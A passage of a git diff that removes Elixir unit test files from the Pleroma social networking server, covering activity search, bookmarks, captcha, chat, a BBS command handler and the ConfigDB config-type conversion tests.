Pleroma.Factory - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - test "returns an activity by it's AP id" do - activity = insert(:note_activity) - found_activity = Activity.get_by_ap_id(activity.data["id"]) - - assert activity == found_activity - end - - test "returns activities by it's objects AP ids" do - activity = insert(:note_activity) - object_data = Object.normalize(activity).data - - [found_activity] = Activity.get_all_create_by_object_ap_id(object_data["id"]) - - assert activity == found_activity - end - - test "returns the activity that created an object" do - activity = insert(:note_activity) - object_data = Object.normalize(activity).data - - found_activity = Activity.get_create_by_object_ap_id(object_data["id"]) - - assert activity == found_activity - end - - test "preloading a bookmark" do - user = insert(:user) - user2 = insert(:user) - user3 = insert(:user) - activity = insert(:note_activity) - {:ok, _bookmark} = Bookmark.create(user.id, activity.id) - {:ok, _bookmark2} = Bookmark.create(user2.id, activity.id) - {:ok, bookmark3} = Bookmark.create(user3.id, activity.id) - - queried_activity = - Ecto.Query.from(Pleroma.Activity) - |> Activity.with_preloaded_bookmark(user3) - |> Repo.one() - - assert queried_activity.bookmark == bookmark3 - end - - test "setting thread_muted?" do - activity = insert(:note_activity) - user = insert(:user) - annoyed_user = insert(:user) - {:ok, _} = ThreadMute.add_mute(annoyed_user.id, activity.data["context"]) - - activity_with_unset_thread_muted_field = - Ecto.Query.from(Activity) - |> Repo.one() - - activity_for_user = - Ecto.Query.from(Activity) - |> Activity.with_set_thread_muted_field(user) - |> Repo.one() - - activity_for_annoyed_user = - Ecto.Query.from(Activity) - |> Activity.with_set_thread_muted_field(annoyed_user) - |> Repo.one() - - assert activity_with_unset_thread_muted_field.thread_muted? == nil - assert activity_for_user.thread_muted? == false - assert activity_for_annoyed_user.thread_muted? == true - end - - describe "getting a bookmark" do - test "when association is loaded" do - user = insert(:user) - activity = insert(:note_activity) - {:ok, bookmark} = Bookmark.create(user.id, activity.id) - - queried_activity = - Ecto.Query.from(Pleroma.Activity) - |> Activity.with_preloaded_bookmark(user) - |> Repo.one() - - assert Activity.get_bookmark(queried_activity, user) == bookmark - end - - test "when association is not loaded" do - user = insert(:user) - activity = insert(:note_activity) - {:ok, bookmark} = Bookmark.create(user.id, activity.id) - - queried_activity = - Ecto.Query.from(Pleroma.Activity) - |> Repo.one() - - assert Activity.get_bookmark(queried_activity, user) == bookmark - end - end - - describe "search" do - setup do - user = insert(:user) - - params = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "actor" => "http://mastodon.example.org/users/admin", - "type" => "Create", - "id" => "http://mastodon.example.org/users/admin/activities/1", - "object" => %{ - "type" => "Note", - "content" => "find me!", - "id" => "http://mastodon.example.org/users/admin/objects/1", - "attributedTo" => "http://mastodon.example.org/users/admin" - }, - "to" => ["https://www.w3.org/ns/activitystreams#Public"] - } - - {:ok, local_activity} = Pleroma.Web.CommonAPI.post(user, %{status: "find me!"}) - {:ok, japanese_activity} = Pleroma.Web.CommonAPI.post(user, %{status: "更新情報"}) - {:ok, job} = Pleroma.Web.Federator.incoming_ap_doc(params) - {:ok, remote_activity} = ObanHelpers.perform(job) - - %{ - japanese_activity: japanese_activity, - local_activity: local_activity, - remote_activity: remote_activity, - user: user - } - end - - setup do: clear_config([:instance, :limit_to_local_content]) - - test "finds utf8 text in statuses", %{ - japanese_activity: japanese_activity, - user: user - } do - activities = Activity.search(user, "更新情報") - - assert [^japanese_activity] = activities - end - - test "find local and remote statuses for authenticated users", %{ - local_activity: local_activity, - remote_activity: remote_activity, - user: user - } do - activities = Enum.sort_by(Activity.search(user, "find me"), & &1.id) - - assert [^local_activity, ^remote_activity] = activities - end - - test "find only local statuses for unauthenticated users", %{local_activity: local_activity} do - assert [^local_activity] = Activity.search(nil, "find me") - end - - test "find only local statuses for unauthenticated users when `limit_to_local_content` is `:all`", - %{local_activity: local_activity} do - Pleroma.Config.put([:instance, :limit_to_local_content], :all) - assert [^local_activity] = Activity.search(nil, "find me") - end - - test "find all statuses for unauthenticated users when `limit_to_local_content` is `false`", - %{ - local_activity: local_activity, - remote_activity: remote_activity - } do - Pleroma.Config.put([:instance, :limit_to_local_content], false) - - activities = Enum.sort_by(Activity.search(nil, "find me"), & &1.id) - - assert [^local_activity, ^remote_activity] = activities - end - end - - test "all_by_ids_with_object/1" do - %{id: id1} = insert(:note_activity) - %{id: id2} = insert(:note_activity) - - activities = - [id1, id2] - |> Activity.all_by_ids_with_object() - |> Enum.sort(&(&1.id < &2.id)) - - assert [%{id: ^id1, object: %Object{}}, %{id: ^id2, object: %Object{}}] = activities - end - - test "get_by_id_with_object/1" do - %{id: id} = insert(:note_activity) - - assert %Activity{id: ^id, object: %Object{}} = Activity.get_by_id_with_object(id) - end - - test "get_by_ap_id_with_object/1" do - %{data: %{"id" => ap_id}} = insert(:note_activity) - - assert %Activity{data: %{"id" => ^ap_id}, object: %Object{}} = - Activity.get_by_ap_id_with_object(ap_id) - end - - test "get_by_id/1" do - %{id: id} = insert(:note_activity) - - assert %Activity{id: ^id} = Activity.get_by_id(id) - end - - test "all_by_actor_and_id/2" do - user = insert(:user) - - {:ok, %{id: id1}} = Pleroma.Web.CommonAPI.post(user, %{status: "cofe"}) - {:ok, %{id: id2}} = Pleroma.Web.CommonAPI.post(user, %{status: "cofefe"}) - - assert [] == Activity.all_by_actor_and_id(user, []) - - activities = - user.ap_id - |> Activity.all_by_actor_and_id([id1, id2]) - |> Enum.sort(&(&1.id < &2.id)) - - assert [%Activity{id: ^id1}, %Activity{id: ^id2}] = activities - end -end diff --git a/test/bbs/handler_test.exs b/test/bbs/handler_test.exs deleted file mode 100644 index eb716486e..000000000 --- a/test/bbs/handler_test.exs +++ /dev/null @@ -1,89 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.BBS.HandlerTest do - use Pleroma.DataCase - alias Pleroma.Activity - alias Pleroma.BBS.Handler - alias Pleroma.Object - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.Web.CommonAPI - - import ExUnit.CaptureIO - import Pleroma.Factory - import Ecto.Query - - test "getting the home timeline" do - user = insert(:user) - followed = insert(:user) - - {:ok, user} = User.follow(user, followed) - - {:ok, _first} = CommonAPI.post(user, %{status: "hey"}) - {:ok, _second} = CommonAPI.post(followed, %{status: "hello"}) - - output = - capture_io(fn -> - Handler.handle_command(%{user: user}, "home") - end) - - assert output =~ user.nickname - assert output =~ followed.nickname - - assert output =~ "hey" - assert output =~ "hello" - end - - test "posting" do - user = insert(:user) - - output = - capture_io(fn -> - Handler.handle_command(%{user: user}, "p this is a test post") - end) - - assert output =~ "Posted" - - activity = - Repo.one( - from(a in Activity, - where: fragment("?->>'type' = ?", a.data, "Create") - ) - ) - - assert activity.actor == user.ap_id - object = Object.normalize(activity) - assert object.data["content"] == "this is a test post" - end - - test "replying" do - user = insert(:user) - another_user = insert(:user) - - {:ok, activity} = CommonAPI.post(another_user, %{status: "this is a test post"}) - activity_object = Object.normalize(activity) - - output = - capture_io(fn -> - Handler.handle_command(%{user: user}, "r #{activity.id} this is a reply") - end) - - assert output =~ "Replied" - - reply = - Repo.one( - from(a in Activity, - where: fragment("?->>'type' = ?", a.data, "Create"), - where: a.actor == ^user.ap_id - ) - ) - - assert reply.actor == user.ap_id - - reply_object_data = Object.normalize(reply).data - assert reply_object_data["content"] == "this is a reply" - assert reply_object_data["inReplyTo"] == activity_object.data["id"] - end -end diff --git a/test/bookmark_test.exs b/test/bookmark_test.exs deleted file mode 100644 index 2726fe7cd..000000000 --- a/test/bookmark_test.exs +++ /dev/null @@ -1,56 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.BookmarkTest do - use Pleroma.DataCase - import Pleroma.Factory - alias Pleroma.Bookmark - alias Pleroma.Web.CommonAPI - - describe "create/2" do - test "with valid params" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "Some cool information"}) - {:ok, bookmark} = Bookmark.create(user.id, activity.id) - assert bookmark.user_id == user.id - assert bookmark.activity_id == activity.id - end - - test "with invalid params" do - {:error, changeset} = Bookmark.create(nil, "") - refute changeset.valid? - - assert changeset.errors == [ - user_id: {"can't be blank", [validation: :required]}, - activity_id: {"can't be blank", [validation: :required]} - ] - end - end - - describe "destroy/2" do - test "with valid params" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "Some cool information"}) - {:ok, _bookmark} = Bookmark.create(user.id, activity.id) - - {:ok, _deleted_bookmark} = Bookmark.destroy(user.id, activity.id) - end - end - - describe "get/2" do - test "gets a bookmark" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: - "Scientists Discover The Secret Behind Tenshi Eating A Corndog Being So Cute – Science Daily" - }) - - {:ok, bookmark} = Bookmark.create(user.id, activity.id) - assert bookmark == Bookmark.get(user.id, activity.id) - end - end -end diff --git a/test/captcha_test.exs b/test/captcha_test.exs deleted file mode 100644 index 1b9f4a12f..000000000 --- a/test/captcha_test.exs +++ /dev/null @@ -1,118 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.CaptchaTest do - use Pleroma.DataCase - - import Tesla.Mock - - alias Pleroma.Captcha - alias Pleroma.Captcha.Kocaptcha - alias Pleroma.Captcha.Native - - @ets_options [:ordered_set, :private, :named_table, {:read_concurrency, true}] - setup do: clear_config([Pleroma.Captcha, :enabled]) - - describe "Kocaptcha" do - setup do - ets_name = Kocaptcha.Ets - ^ets_name = :ets.new(ets_name, @ets_options) - - mock(fn - %{method: :get, url: "https://captcha.kotobank.ch/new"} -> - json(%{ - md5: "63615261b77f5354fb8c4e4986477555", - token: "afa1815e14e29355e6c8f6b143a39fa2", - url: "/captchas/afa1815e14e29355e6c8f6b143a39fa2.png" - }) - end) - - :ok - end - - test "new and validate" do - new = Kocaptcha.new() - - token = "afa1815e14e29355e6c8f6b143a39fa2" - url = "https://captcha.kotobank.ch/captchas/afa1815e14e29355e6c8f6b143a39fa2.png" - - assert %{ - answer_data: answer, - token: ^token, - url: ^url, - type: :kocaptcha, - seconds_valid: 300 - } = new - - assert Kocaptcha.validate(token, "7oEy8c", answer) == :ok - end - end - - describe "Native" do - test "new and validate" do - new = Native.new() - - assert %{ - answer_data: answer, - token: token, - type: :native, - url: "data:image/png;base64," <> _, - seconds_valid: 300 - } = new - - assert is_binary(answer) - assert :ok = Native.validate(token, answer, answer) - assert {:error, :invalid} == Native.validate(token, answer, answer <> "foobar") - end - end - - describe "Captcha Wrapper" do - test "validate" do - Pleroma.Config.put([Pleroma.Captcha, :enabled], true) - - new = Captcha.new() - - assert %{ - answer_data: answer, - token: token - } = new - - assert is_binary(answer) - assert :ok = Captcha.validate(token, "63615261b77f5354fb8c4e4986477555", answer) - Cachex.del(:used_captcha_cache, token) - end - - test "doesn't validate invalid answer" do - Pleroma.Config.put([Pleroma.Captcha, :enabled], true) - - new = Captcha.new() - - assert %{ - answer_data: answer, - token: token - } = new - - assert is_binary(answer) - - assert {:error, :invalid_answer_data} = - Captcha.validate(token, "63615261b77f5354fb8c4e4986477555", answer <> "foobar") - end - - test "nil answer_data" do - Pleroma.Config.put([Pleroma.Captcha, :enabled], true) - - new = Captcha.new() - - assert %{ - answer_data: answer, - token: token - } = new - - assert is_binary(answer) - - assert {:error, :invalid_answer_data} = - Captcha.validate(token, "63615261b77f5354fb8c4e4986477555", nil) - end - end -end diff --git a/test/chat/message_reference_test.exs b/test/chat/message_reference_test.exs deleted file mode 100644 index aaa7c1ad4..000000000 --- a/test/chat/message_reference_test.exs +++ /dev/null @@ -1,29 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Chat.MessageReferenceTest do - use Pleroma.DataCase, async: true - - alias Pleroma.Chat - alias Pleroma.Chat.MessageReference - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - describe "messages" do - test "it returns the last message in a chat" do - user = insert(:user) - recipient = insert(:user) - - {:ok, _message_1} = CommonAPI.post_chat_message(user, recipient, "hey") - {:ok, _message_2} = CommonAPI.post_chat_message(recipient, user, "ho") - - {:ok, chat} = Chat.get_or_create(user.id, recipient.ap_id) - - message = MessageReference.last_message_for_chat(chat) - - assert message.object.data["content"] == "ho" - end - end -end diff --git a/test/chat_test.exs b/test/chat_test.exs deleted file mode 100644 index 9e8a9ebf0..000000000 --- a/test/chat_test.exs +++ /dev/null @@ -1,83 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.ChatTest do - use Pleroma.DataCase, async: true - - alias Pleroma.Chat - - import Pleroma.Factory - - describe "creation and getting" do - test "it only works if the recipient is a valid user (for now)" do - user = insert(:user) - - assert {:error, _chat} = Chat.bump_or_create(user.id, "http://some/nonexisting/account") - assert {:error, _chat} = Chat.get_or_create(user.id, "http://some/nonexisting/account") - end - - test "it creates a chat for a user and recipient" do - user = insert(:user) - other_user = insert(:user) - - {:ok, chat} = Chat.bump_or_create(user.id, other_user.ap_id) - - assert chat.id - end - - test "deleting the user deletes the chat" do - user = insert(:user) - other_user = insert(:user) - - {:ok, chat} = Chat.bump_or_create(user.id, other_user.ap_id) - - Repo.delete(user) - - refute Chat.get_by_id(chat.id) - end - - test "deleting the recipient deletes the chat" do - user = insert(:user) - other_user = insert(:user) - - {:ok, chat} = Chat.bump_or_create(user.id, other_user.ap_id) - - Repo.delete(other_user) - - refute Chat.get_by_id(chat.id) - end - - test "it returns and bumps a chat for a user and recipient if it already exists" do - user = insert(:user) - other_user = insert(:user) - - {:ok, chat} = Chat.bump_or_create(user.id, other_user.ap_id) - {:ok, chat_two} = Chat.bump_or_create(user.id, other_user.ap_id) - - assert chat.id == chat_two.id - end - - test "it returns a chat for a user and recipient if it already exists" do - user = insert(:user) - other_user = insert(:user) - - {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) - {:ok, chat_two} = Chat.get_or_create(user.id, other_user.ap_id) - - assert chat.id == chat_two.id - end - - test "a returning chat will have an updated `update_at` field" do - user = insert(:user) - other_user = insert(:user) - - {:ok, chat} = Chat.bump_or_create(user.id, other_user.ap_id) - :timer.sleep(1500) - {:ok, chat_two} = Chat.bump_or_create(user.id, other_user.ap_id) - - assert chat.id == chat_two.id - assert chat.updated_at != chat_two.updated_at - end - end -end diff --git a/test/config/config_db_test.exs b/test/config/config_db_test.exs deleted file mode 100644 index 3895e2cda..000000000 --- a/test/config/config_db_test.exs +++ /dev/null @@ -1,546 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.ConfigDBTest do - use Pleroma.DataCase, async: true - import Pleroma.Factory - alias Pleroma.ConfigDB - - test "get_by_params/1" do - config = insert(:config) - insert(:config) - - assert config == ConfigDB.get_by_params(%{group: config.group, key: config.key}) - end - - test "get_all_as_keyword/0" do - saved = insert(:config) - insert(:config, group: ":quack", key: ":level", value: :info) - insert(:config, group: ":quack", key: ":meta", value: [:none]) - - insert(:config, - group: ":quack", - key: ":webhook_url", - value: "https://hooks.slack.com/services/KEY/some_val" - ) - - config = ConfigDB.get_all_as_keyword() - - assert config[:pleroma] == [ - {saved.key, saved.value} - ] - - assert config[:quack][:level] == :info - assert config[:quack][:meta] == [:none] - assert config[:quack][:webhook_url] == "https://hooks.slack.com/services/KEY/some_val" - end - - describe "update_or_create/1" do - test "common" do - config = insert(:config) - key2 = :another_key - - params = [ - %{group: :pleroma, key: key2, value: "another_value"}, - %{group: :pleroma, key: config.key, value: [a: 1, b: 2, c: "new_value"]} - ] - - assert Repo.all(ConfigDB) |> length() == 1 - - Enum.each(params, &ConfigDB.update_or_create(&1)) - - assert Repo.all(ConfigDB) |> length() == 2 - - config1 = ConfigDB.get_by_params(%{group: config.group, key: config.key}) - config2 = ConfigDB.get_by_params(%{group: :pleroma, key: key2}) - - assert config1.value == [a: 1, b: 2, c: "new_value"] - assert config2.value == "another_value" - end - - test "partial update" do - config = insert(:config, value: [key1: "val1", key2: :val2]) - - {:ok, config} = - ConfigDB.update_or_create(%{ - group: config.group, - key: config.key, - value: [key1: :val1, key3: :val3] - }) - - updated = ConfigDB.get_by_params(%{group: config.group, key: config.key}) - - assert config.value == updated.value - assert updated.value[:key1] == :val1 - assert updated.value[:key2] == :val2 - assert updated.value[:key3] == :val3 - end - - test "deep merge" do - config = insert(:config, value: [key1: "val1", key2: [k1: :v1, k2: "v2"]]) - - {:ok, config} = - ConfigDB.update_or_create(%{ - group: config.group, - key: config.key, - value: [key1: :val1, key2: [k2: :v2, k3: :v3], key3: :val3] - }) - - updated = ConfigDB.get_by_params(%{group: config.group, key: config.key}) - - assert config.value == updated.value - assert updated.value[:key1] == :val1 - assert updated.value[:key2] == [k1: :v1, k2: :v2, k3: :v3] - assert updated.value[:key3] == :val3 - end - - test "only full update for some keys" do - config1 = insert(:config, key: :ecto_repos, value: [repo: Pleroma.Repo]) - - config2 = insert(:config, group: :cors_plug, key: :max_age, value: 18) - - {:ok, _config} = - ConfigDB.update_or_create(%{ - group: config1.group, - key: config1.key, - value: [another_repo: [Pleroma.Repo]] - }) - - {:ok, _config} = - ConfigDB.update_or_create(%{ - group: config2.group, - key: config2.key, - value: 777 - }) - - updated1 = ConfigDB.get_by_params(%{group: config1.group, key: config1.key}) - updated2 = ConfigDB.get_by_params(%{group: config2.group, key: config2.key}) - - assert updated1.value == [another_repo: [Pleroma.Repo]] - assert updated2.value == 777 - end - - test "full update if value is not keyword" do - config = - insert(:config, - group: ":tesla", - key: ":adapter", - value: Tesla.Adapter.Hackney - ) - - {:ok, _config} = - ConfigDB.update_or_create(%{ - group: config.group, - key: config.key, - value: Tesla.Adapter.Httpc - }) - - updated = ConfigDB.get_by_params(%{group: config.group, key: config.key}) - - assert updated.value == Tesla.Adapter.Httpc - end - - test "only full update for some subkeys" do - config1 = - insert(:config, - key: ":emoji", - value: [groups: [a: 1, b: 2], key: [a: 1]] - ) - - config2 = - insert(:config, - key: ":assets", - value: [mascots: [a: 1, b: 2], key: [a: 1]] - ) - - {:ok, _config} = - ConfigDB.update_or_create(%{ - group: config1.group, - key: config1.key, - value: [groups: [c: 3, d: 4], key: [b: 2]] - }) - - {:ok, _config} = - ConfigDB.update_or_create(%{ - group: config2.group, - key: config2.key, - value: [mascots: [c: 3, d: 4], key: [b: 2]] - }) - - updated1 = ConfigDB.get_by_params(%{group: config1.group, key: config1.key}) - updated2 = ConfigDB.get_by_params(%{group: config2.group, key: config2.key}) - - assert updated1.value == [groups: [c: 3, d: 4], key: [a: 1, b: 2]] - assert updated2.value == [mascots: [c: 3, d: 4], key: [a: 1, b: 2]] - end - end - - describe "delete/1" do - test "error on deleting non existing setting" do - {:error, error} = ConfigDB.delete(%{group: ":pleroma", key: ":key"}) - assert error =~ "Config with params %{group: \":pleroma\", key: \":key\"} not found" - end - - test "full delete" do - config = insert(:config) - {:ok, deleted} = ConfigDB.delete(%{group: config.group, key: config.key}) - assert Ecto.get_meta(deleted, :state) == :deleted - refute ConfigDB.get_by_params(%{group: config.group, key: config.key}) - end - - test "partial subkeys delete" do - config = insert(:config, value: [groups: [a: 1, b: 2], key: [a: 1]]) - - {:ok, deleted} = - ConfigDB.delete(%{group: config.group, key: config.key, subkeys: [":groups"]}) - - assert Ecto.get_meta(deleted, :state) == :loaded - - assert deleted.value == [key: [a: 1]] - - updated = ConfigDB.get_by_params(%{group: config.group, key: config.key}) - - assert updated.value == deleted.value - end - - test "full delete if remaining value after subkeys deletion is empty list" do - config = insert(:config, value: [groups: [a: 1, b: 2]]) - - {:ok, deleted} = - ConfigDB.delete(%{group: config.group, key: config.key, subkeys: [":groups"]}) - - assert Ecto.get_meta(deleted, :state) == :deleted - - refute ConfigDB.get_by_params(%{group: config.group, key: config.key}) - end - end - - describe "to_elixir_types/1" do - test "string" do - assert ConfigDB.to_elixir_types("value as string") == "value as string" - end - - test "boolean" do - assert ConfigDB.to_elixir_types(false) == false - end - - test "nil" do - assert ConfigDB.to_elixir_types(nil) == nil - end - - test "integer" do - assert ConfigDB.to_elixir_types(150) == 150 - end - - test "atom" do - assert ConfigDB.to_elixir_types(":atom") == :atom - end - - test "ssl options" do - assert ConfigDB.to_elixir_types([":tlsv1", ":tlsv1.1", ":tlsv1.2"]) == [ - :tlsv1, - :"tlsv1.1", - :"tlsv1.2" - ] - end - - test "pleroma module" do - assert ConfigDB.to_elixir_types("Pleroma.Bookmark") == Pleroma.Bookmark - end - - test "pleroma string" do - assert ConfigDB.to_elixir_types("Pleroma") == "Pleroma" - end - - test "phoenix module" do - assert ConfigDB.to_elixir_types("Phoenix.Socket.V1.JSONSerializer") == - Phoenix.Socket.V1.JSONSerializer - end - - test "tesla module" do - assert ConfigDB.to_elixir_types("Tesla.Adapter.Hackney") == Tesla.Adapter.Hackney - end - - test "ExSyslogger module" do - assert ConfigDB.to_elixir_types("ExSyslogger") == ExSyslogger - end - - test "Quack.Logger module" do - assert ConfigDB.to_elixir_types("Quack.Logger") == Quack.Logger - end - - test "Swoosh.Adapters modules" do - assert ConfigDB.to_elixir_types("Swoosh.Adapters.SMTP") == Swoosh.Adapters.SMTP - assert ConfigDB.to_elixir_types("Swoosh.Adapters.AmazonSES") == Swoosh.Adapters.AmazonSES - end - - test "sigil" do - assert ConfigDB.to_elixir_types("~r[comp[lL][aA][iI][nN]er]") == ~r/comp[lL][aA][iI][nN]er/ - end - - test "link sigil" do - assert ConfigDB.to_elixir_types("~r/https:\/\/example.com/") == ~r/https:\/\/example.com/ - end - - test "link sigil with um modifiers" do - assert ConfigDB.to_elixir_types("~r/https:\/\/example.com/um") == - ~r/https:\/\/example.com/um - end - - test "link sigil with i modifier" do - assert ConfigDB.to_elixir_types("~r/https:\/\/example.com/i") == ~r/https:\/\/example.com/i - end - - test "link sigil with s modifier" do - assert ConfigDB.to_elixir_types("~r/https:\/\/example.com/s") == ~r/https:\/\/example.com/s - end - - test "raise if valid delimiter not found" do - assert_raise ArgumentError, "valid delimiter for Regex expression not found", fn -> - ConfigDB.to_elixir_types("~r/https://[]{}<>\"'()|example.com/s") - end - end - - test "2 child tuple" do - assert ConfigDB.to_elixir_types(%{"tuple" => ["v1", ":v2"]}) == {"v1", :v2} - end - - test "proxy tuple with localhost" do - assert ConfigDB.to_elixir_types(%{ - "tuple" => [":proxy_url", %{"tuple" => [":socks5", "localhost", 1234]}] - }) == {:proxy_url, {:socks5, :localhost, 1234}} - end - - test "proxy tuple with domain" do - assert ConfigDB.to_elixir_types(%{ - "tuple" => [":proxy_url", %{"tuple" => [":socks5", "domain.com", 1234]}] - }) == {:proxy_url, {:socks5, 'domain.com', 1234}} - end - - test "proxy tuple with ip" do - assert ConfigDB.to_elixir_types(%{ - "tuple" => [":proxy_url", %{"tuple" => [":socks5", "127.0.0.1", 1234]}] - }) == {:proxy_url, {:socks5, {127, 0, 0, 1}, 1234}} - end - - test "tuple with n childs" do - assert ConfigDB.to_elixir_types(%{ - "tuple" => [ - "v1", - ":v2", - "Pleroma.Bookmark", - 150, - false, - "Phoenix.Socket.V1.JSONSerializer" - ] - }) == {"v1", :v2, Pleroma.Bookmark, 150, false, Phoenix.Socket.V1.JSONSerializer} - end - - test "map with string key" do - assert ConfigDB.to_elixir_types(%{"key" => "value"}) == %{"key" => "value"} - end - - test "map with atom key" do - assert ConfigDB.to_elixir_types(%{":key" => "value"}) == %{key: "value"} - end - - test "list of strings" do - assert ConfigDB.to_elixir_types(["v1", "v2", "v3"]) == ["v1", "v2", "v3"] - end - - test "list of modules" do - assert ConfigDB.to_elixir_types(["Pleroma.Repo", "Pleroma.Activity"]) == [ - Pleroma.Repo, - Pleroma.Activity - ] - end - - test "list of atoms" do - assert ConfigDB.to_elixir_types([":v1", ":v2", ":v3"]) == [:v1, :v2, :v3] - end - - test "list of mixed values" do - assert ConfigDB.to_elixir_types([ - "v1", - ":v2", - "Pleroma.Repo", - "Phoenix.Socket.V1.JSONSerializer", - 15, - false - ]) == [ - "v1", - :v2, - Pleroma.Repo, - Phoenix.Socket.V1.JSONSerializer, - 15, - false - ] - end - - test "simple keyword" do - assert ConfigDB.to_elixir_types([%{"tuple" => [":key", "value"]}]) == [key: "value"] - end - - test "keyword" do - assert ConfigDB.to_elixir_types([ - %{"tuple" => [":types", "Pleroma.PostgresTypes"]}, - %{"tuple" => [":telemetry_event", ["Pleroma.Repo.Instrumenter"]]}, - %{"tuple" => [":migration_lock", nil]}, - %{"tuple" => [":key1", 150]}, - %{"tuple" => [":key2", "string"]} - ]) == [ - types: Pleroma.PostgresTypes, - telemetry_event: [Pleroma.Repo.Instrumenter], - migration_lock: nil, - key1: 150, - key2: "string" - ] - end - - test "trandformed keyword" do - assert ConfigDB.to_elixir_types(a: 1, b: 2, c: "string") == [a: 1, b: 2, c: "string"] - end - - test "complex keyword with nested mixed childs" do - assert ConfigDB.to_elixir_types([ - %{"tuple" => [":uploader", "Pleroma.Uploaders.Local"]}, - %{"tuple" => [":filters", ["Pleroma.Upload.Filter.Dedupe"]]}, - %{"tuple" => [":link_name", true]}, - %{"tuple" => [":proxy_remote", false]}, - %{"tuple" => [":common_map", %{":key" => "value"}]}, - %{ - "tuple" => [ - ":proxy_opts", - [ - %{"tuple" => [":redirect_on_failure", false]}, - %{"tuple" => [":max_body_length", 1_048_576]}, - %{ - "tuple" => [ - ":http", - [ - %{"tuple" => [":follow_redirect", true]}, - %{"tuple" => [":pool", ":upload"]} - ] - ] - } - ] - ] - } - ]) == [ - uploader: Pleroma.Uploaders.Local, - filters: [Pleroma.Upload.Filter.Dedupe], - link_name: true, - proxy_remote: false, - common_map: %{key: "value"}, - proxy_opts: [ - redirect_on_failure: false, - max_body_length: 1_048_576, - http: [ - follow_redirect: true, - pool: :upload - ] - ] - ] - end - - test "common keyword" do - assert ConfigDB.to_elixir_types([ - %{"tuple" => [":level", ":warn"]}, - %{"tuple" => [":meta", [":all"]]}, - %{"tuple" => [":path", ""]}, - %{"tuple" => [":val", nil]}, - %{"tuple" => [":webhook_url", "https://hooks.slack.com/services/YOUR-KEY-HERE"]} - ]) == [ - level: :warn, - meta: [:all], - path: "", - val: nil, - webhook_url: "https://hooks.slack.com/services/YOUR-KEY-HERE" - ] - end - - test "complex keyword with sigil" do - assert ConfigDB.to_elixir_types([ - %{"tuple" => [":federated_timeline_removal", []]}, - %{"tuple" => [":reject", ["~r/comp[lL][aA][iI][nN]er/"]]}, - %{"tuple" => [":replace", []]} - ]) == [ - federated_timeline_removal: [], - reject: [~r/comp[lL][aA][iI][nN]er/], - replace: [] - ] - end - - test "complex keyword with tuples with more than 2 values" do - assert ConfigDB.to_elixir_types([ - %{ - "tuple" => [ - ":http", - [ - %{ - "tuple" => [ - ":key1", - [ - %{ - "tuple" => [ - ":_", - [ - %{ - "tuple" => [ - "/api/v1/streaming", - "Pleroma.Web.MastodonAPI.WebsocketHandler", - [] - ] - }, - %{ - "tuple" => [ - "/websocket", - "Phoenix.Endpoint.CowboyWebSocket", - %{ - "tuple" => [ - "Phoenix.Transports.WebSocket", - %{ - "tuple" => [ - "Pleroma.Web.Endpoint", - "Pleroma.Web.UserSocket", - [] - ] - } - ] - } - ] - }, - %{ - "tuple" => [ - ":_", - "Phoenix.Endpoint.Cowboy2Handler", - %{"tuple" => ["Pleroma.Web.Endpoint", []]} - ] - } - ] - ] - } - ] - ] - } - ] - ] - } - ]) == [ - http: [ - key1: [ - {:_, - [ - {"/api/v1/streaming", Pleroma.Web.MastodonAPI.WebsocketHandler, []}, - {"/websocket", Phoenix.Endpoint.CowboyWebSocket, - {Phoenix.Transports.WebSocket, - {Pleroma.Web.Endpoint, Pleroma.Web.UserSocket, []}}}, - {:_, Phoenix.Endpoint.Cowboy2Handler, {Pleroma.Web.Endpoint, []}} - ]} - ] - ] - ] - end - end -end diff --git a/test/config/deprecation_warnings_test.exs b/test/config/deprecation_warnings_test.exs deleted file mode 100644 index 02ada1aab..000000000 --- a/test/config/deprecation_warnings_test.exs +++ /dev/null @@ -1,140 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Config.DeprecationWarningsTest do - use ExUnit.Case - use Pleroma.Tests.Helpers - - import ExUnit.CaptureLog - - alias Pleroma.Config - alias Pleroma.Config.DeprecationWarnings - - test "check_old_mrf_config/0" do - clear_config([:instance, :rewrite_policy], Pleroma.Web.ActivityPub.MRF.NoOpPolicy) - clear_config([:instance, :mrf_transparency], true) - clear_config([:instance, :mrf_transparency_exclusions], []) - - assert capture_log(fn -> DeprecationWarnings.check_old_mrf_config() end) =~ - """ - !!!DEPRECATION WARNING!!! - Your config is using old namespaces for MRF configuration. They should work for now, but you are advised to change to new namespaces to prevent possible issues later: - - * `config :pleroma, :instance, rewrite_policy` is now `config :pleroma, :mrf, policies` - * `config :pleroma, :instance, mrf_transparency` is now `config :pleroma, :mrf, transparency` - * `config :pleroma, :instance, mrf_transparency_exclusions` is now `config :pleroma, :mrf, transparency_exclusions` - """ - end - - test "move_namespace_and_warn/2" do - old_group1 = [:group, :key] - old_group2 = [:group, :key2] - old_group3 = [:group, :key3] - - new_group1 = [:another_group, :key4] - new_group2 = [:another_group, :key5] - new_group3 = [:another_group, :key6] - - clear_config(old_group1, 1) - clear_config(old_group2, 2) - clear_config(old_group3, 3) - - 